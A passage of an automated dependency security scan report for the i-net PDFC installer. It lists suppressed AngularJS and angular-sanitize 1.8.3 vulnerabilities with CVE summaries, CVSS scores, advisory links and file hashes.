- Severity: medium

References:

- info - <https://codepen.io/herodevs/pen/bNGYaXx/412a3a4218387479898912f60c269c6c>
- info - <https://github.com/advisories/GHSA-4p4w-6hg8-63wx>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-2336>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-2336>

Vulnerable Software & Versions (RETIREJS):

CVE-2025-4690 (RETIREJS) suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

- Severity: medium

References:

- info - <https://codepen.io/herodevs/pen/RNNEPzP/751b91eab7730dff277523f3d50e4b77>
- info - <https://github.com/advisories/GHSA-hfff-63hg-f47j>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-4690>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-4690>

Vulnerable Software & Versions (RETIREJS):

CVE-2025-0716 (RETIREJS) suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

- Severity: low

References:

- info - <https://codepen.io/herodevs/pen/qEWQmpd/a86a0d29310e12c7a3756768e6c7b915>
- info - <https://github.com/advisories/GHSA-j58c-ww9w-pwp5>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-0716>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-0716>

Vulnerable Software & Versions (RETIREJS):

End-of-Life: Long term support for AngularJS has been discontinued as of December 31, 2021 (RETIREJS) suppressed

End-of-Life: Long term support for AngularJS has been discontinued as of December 31, 2021

Notes: file name: remotegui.zip: angularjs.jar We can not yet update to newer Angular Version

Unscored:

- Severity: low

References:

- info - <https://docs.angularjs.org/misc/version-support-status>
- retid - 54

Vulnerable Software & Versions (RETIREJS):

remotegui.zip: angular-sanitize.jar: angular-sanitize.js

File Path: /home/jenkins/workspace/pdfc/Check-Product-Installer-for-Security-Problems/PDFCInstaller/server/build/tmp/dependencies/i-net PDFC/plugins/remotegui.zip/angular-sanitize.jar/META-INF/resources/webjars/angular-sanitize/1.8.3/angular-sanitize.js

MD5: 0127d7a139abfc8bd45875a9c8ea6348

SHA1: 197aea2acc25a0fa821766400950cac58a3627a5

SHA256: c84c65250afe5a1265f36a7e16c6010652e55c2ae3a779c351fb68536c42bf64

Referenced In Project/Scope: server

Evidence



Suppressed Identifiers

- None

Suppressed Vulnerabilities



[CVE-2022-25844](#) suppressed

The package angular after 1.7.0 are vulnerable to Regular Expression Denial of Service (ReDoS) by providing a custom locale rule that makes it possible to assign the parameter in posPre: ' '.repeat() of NUMBER_FORMATS.PATTERNS[1].posPre with a very high value.
Note: 1) This package has been deprecated and is no longer maintained. 2) The vulnerable versions are 1.7.0 and higher.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- HIGH (7.5)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RC:R/MAV:A

CVSSv2:

- Base Score: MEDIUM (5.0)
- Vector: /AV:N/AC:L/Au:N/C:N/I:N/A:P

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2WUSPYOTOMAZPDEFWPSCSPMNODRDKK3/>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/7LNAKCNTVBIHWAUT3FKWV5N67PQXSZOO/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-m2h2-264f-f486>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2WUSPYOTOMAZPDEFWPSCSPMNODRDKK3/>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/7LNAKCNTVBIHWAUT3FKWV5N67PQXSZOO/>
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [THIRD_PARTY_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions from (including) 1.7.0
- cpe:2.3:a:netapp:ontap_select_deploy_administration_utility:*:*:*:*:*

CVE-2024-21490 suppressed

This affects versions of the package angular from 1.3.0. A regular expression used to split the value of the ng-srcset directive is vulnerable to super-linear runtime due to backtracking. With large carefully-crafted input, this can result in catastrophic backtracking and cause a denial of service. **Note:** This package is EOL and will not receive any updates to address this issue. Users should migrate to [angular/core](https://www.npmjs.com/package/@angular/core).

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- HIGH (7.5)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-4w4v-5hc9-xrr2>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-21490>
- info - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-6241746>
- info - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-6241747>
- info - <https://security.snyk.io/vuln/SNYK-JS-ANGULAR-6091113>
- info - <https://stackblitz.com/edit/angularjs-vulnerability-ng-srcset-redos>
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [THIRD_PARTY_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angular.js:*:*:*:*:* versions from (including) 1.3.0

[CVE-2022-25869](#) suppressed

All versions of the package angular; all versions of the package angularjs.core; all versions of the package angularjs are vulnerable to Cross-site Scripting (XSS) due to insecure page caching in the Internet Explorer browser, which allows interpolation of <textarea> elements.

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (6.1)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - [BROKEN_LINK](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-prc3-vjfx-vhm9>
- report@snyk.io - <https://neverendingsupport.github.io/angularjs-poc-cve-2022-25869>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-DOTNET-ANGULARJS-10771617>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-DOTNET-ANGULARJSCORE-6084031>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-2949783>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBANGULAR-2949784>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-2949782>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JS-ANGULAR-2949781>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:*

[CVE-2023-26116](#) suppressed

Versions of the package angular from 1.2.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the angular.copy() utility function due to the usage of an insecure regular expression. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-2vrf-hf26-jrp5>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions from (including) 1.2.21; versions up to (including) 1.8.3

[CVE-2023-26117](#) suppressed

Versions of the package angular from 1.0.0 are vulnerable to Regular Expression Denial of Service (ReDoS) via the \$resource service due to the usage of an insecure regular expression. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-2qgx-w9hr-q5gx>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)

- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions from (including) 1.0.0; versions up to (including) 1.8.3

[CVE-2023-26118](#) suppressed

Versions of the package angular from 1.4.9 are vulnerable to Regular Expression Denial of Service (ReDoS) via the <input type="url"> element due to the usage of an insecure regular expression in the input[url] functionality. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-qwqh-hm9m-p5hr>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions from (including) 1.4.9; versions up to (including) 1.8.3

[CVE-2024-8372](#) suppressed

Improper sanitization of the value of the 'srcset' attribute in AngularJS allows attackers to bypass common image source restrictions, which can also lead to a form of Content Spoofing https://owasp.org/www-community/attacks/Content_Spoofing .

This issue affects AngularJS versions 1.3.0-rc.4 and greater.

Note:

The AngularJS project is End-of-Life and will not receive any updates to address this issue. For more information see here <https://docs.angularjs.org/misc/version-support-status> .

CWE-1289 Improper Validation of Unsafe Equivalence in Input, NVD-CWE-Other

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (4.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N/E:P/RC:R/MAV:A

References:

- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- info - <https://codepen.io/herodevs/full/xxoQRNL/0072e627abe03e9cda373bc75b4c1017>
- info - <https://github.com/advisories/GHSA-m9gf-397r-hwpg>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-8372>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2024-8372>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions from (including) 1.3.1; versions up to (including) 1.8.3
- cpe:2.3:a:angularjs:angularjs:1.3.0:rc4:*:*:*:*
- cpe:2.3:a:angularjs:angularjs:1.3.0:rc5:*:*:*:*
- cpe:2.3:a:netapp:active_iq_unified_manager:*:*:*:*:linux:*
- cpe:2.3:a:netapp:active_iq_unified_manager:*:*:*:*:vsphere:*
- cpe:2.3:a:netapp:active_iq_unified_manager:*:*:*:*:windows:*

[CVE-2024-8373](#) suppressed

Improper sanitization of the value of the [srcset] attribute in <source> HTML elements in AngularJS allows attackers to bypass common image source restrictions, which can also lead to a form of Content Spoofing https://owasp.org/www-community/attacks/Content_Spoofing .

This issue affects all versions of AngularJS.

Note:

The AngularJS project is End-of-Life and will not receive any updates to address this issue. For more information see here <https://docs.angularjs.org/misc/version-support-status> .

CWE-791 Incomplete Filtering of Special Elements, NVD-CWE-Other

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (4.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N/E:P/RC:R/MAV:A

References:

- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- info - <https://codepen.io/herodevs/full/bGPQgMp/8da9ce87e99403ee13a295c305ebfa0b>
- info - <https://github.com/advisories/GHSA-mqmq-9c95h-x2p6>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-8373>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2024-8373>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions up to (including) 1.8.3
- cpe:2.3:a:netapp:active_iq_unified_manager:*:*:*:*:linux:*
- cpe:2.3:a:netapp:active_iq_unified_manager:*:*:*:*:vsphere:*
- cpe:2.3:a:netapp:active_iq_unified_manager:*:*:*:*:windows:*

[CVE-2025-2336 \(RETIREJS\)](#) suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

- Severity: medium

References:

- info - <https://codepen.io/herodevs/pen/bNGYxX/412a3a4218387479898912f60c269c6c>
- info - <https://github.com/advisories/GHSA-4p4w-6hg8-63wx>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-2336>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-2336>

Vulnerable Software & Versions (RETIREJS):

CVE-2025-4690 (RETIREJS) suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

- Severity: medium

References:

- info - <https://codepen.io/herodevs/pen/RNNEPzP/751b91eab7730dff277523f3d50e4b77>
- info - <https://github.com/advisories/GHSA-hfff-63hg-f47j>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-4690>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-4690>

Vulnerable Software & Versions (RETIREJS):

CVE-2025-0716 (RETIREJS) suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

- Severity: low

References:

- info - <https://codepen.io/herodevs/pen/qEWQmpd/a86a0d29310e12c7a3756768e6c7b915>
- info - <https://github.com/advisories/GHSA-j58c-ww9w-pwp5>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-0716>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-0716>

Vulnerable Software & Versions (RETIREJS):

End-of-Life: Long term support for AngularJS has been discontinued as of December 31, 2021 (RETIREJS) suppressed

End-of-Life: Long term support for AngularJS has been discontinued as of December 31, 2021

Notes: file name: remotegui.zip: angularjs.jar We can not yet update to newer Angular Version

Unscored:

- Severity: low

References:

- info - <https://docs.angularjs.org/misc/version-support-status>
- retid - 54

Vulnerable Software & Versions (RETIREJS):

remotegui.zip: angular-sanitize.jar: angular-sanitize.min.js

File Path: /home/jenkins/workspace/pdfc/Check-Product-Installer-for-Security-Problems/PDFCInstaller/server/build/tmp/dependencies/i-net PDFC/plugins/remotegui.zip/angular-sanitize.jar/META-INF/resources/webjars/angular-sanitize/1.8.3/angular-sanitize.min.js

MD5: f3c62abeec216e9431e7d5b22d8e813b

SHA1: 21355ef18c5e1ce2b2c711b9dba21cbea0655646

SHA256: cc80a30ad0439c2e9c209b3d7fcffb1d10e6007fd1d00c9cc144f393664a7045

Referenced In Project/Scope: server

Evidence

Suppressed Identifiers

- None

Suppressed Vulnerabilities

[CVE-2022-25844](#) suppressed

The package angular after 1.7.0 are vulnerable to Regular Expression Denial of Service (ReDoS) by providing a custom locale rule that makes it possible to assign the parameter in posPre: ' '.repeat() of NUMBER_FORMATS.PATTERNS[1].posPre with a very high value.
Note: 1) This package has been deprecated and is no longer maintained. 2) The vulnerable versions are 1.7.0 and higher.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- HIGH (7.5)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RC:R/MAV:A

CVSSv2:

- Base Score: MEDIUM (5.0)
- Vector: /AV:N/AC:L/Au:N/C:N/I:N/A:P

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2WUSPYOTOMAZPDEFPPWSPSPMNODRDKK3/>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/7LNAKCNTVBIHWAUT3FKWV5N67PQXSZOO/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-m2h2-264f-f486>

- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2WUSPYOTOMAZPDEFWPSCSPMNODRDKK3/>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/7LNAKCNTVBIHWAUT3FKWV5N67PQXSZOO/>
- report@snyk.io - [EXPLOIT_THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT_THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT_THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT_THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT_THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [THIRD_PARTY_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions from (including) 1.7.0
- cpe:2.3:a:netapp:ontap_select_deploy_administration_utility:*:*:*:*:*

CVE-2024-21490 suppressed

This affects versions of the package angular from 1.3.0. A regular expression used to split the value of the ng-srcset directive is vulnerable to super-linear runtime due to backtracking. With large carefully-crafted input, this can result in catastrophic backtracking and cause a denial of service. **Note:** This package is EOL and will not receive any updates to address this issue. Users should migrate to `@angular/core` (<https://www.npmjs.com/package/@angular/core>).

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- HIGH (7.5)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT_THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-4w4v-5hc9-xrr2>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-21490>
- info - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-6241746>
- info - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-6241747>
- info - <https://security.snyk.io/vuln/SNYK-JS-ANGULAR-6091113>
- info - <https://stackblitz.com/edit/angularjs-vulnerability-ng-srcset-redos>
- report@snyk.io - [EXPLOIT_THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [THIRD_PARTY_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angular.js:*:*:*:*:* versions from (including) 1.3.0

CVE-2022-25869 suppressed

All versions of the package angular; all versions of the package angularjs.core; all versions of the package angularjs are vulnerable to Cross-site Scripting (XSS) due to insecure page caching in the Internet Explorer browser, which allows interpolation of `<textarea>` elements.

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (6.1)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - [BROKEN LINK](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-prc3-vjfx-vhm9>
- report@snyk.io - <https://neverendingsupport.github.io/angularjs-poc-cve-2022-25869>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-DOTNET-ANGULARJS-10771617>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-DOTNET-ANGULARJSCORE-6084031>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-2949783>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBANGULAR-2949784>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-2949782>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JS-ANGULAR-2949781>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:*

CVE-2023-26116 suppressed

Versions of the package angular from 1.2.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the angular.copy() utility function due to the usage of an insecure regular expression. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
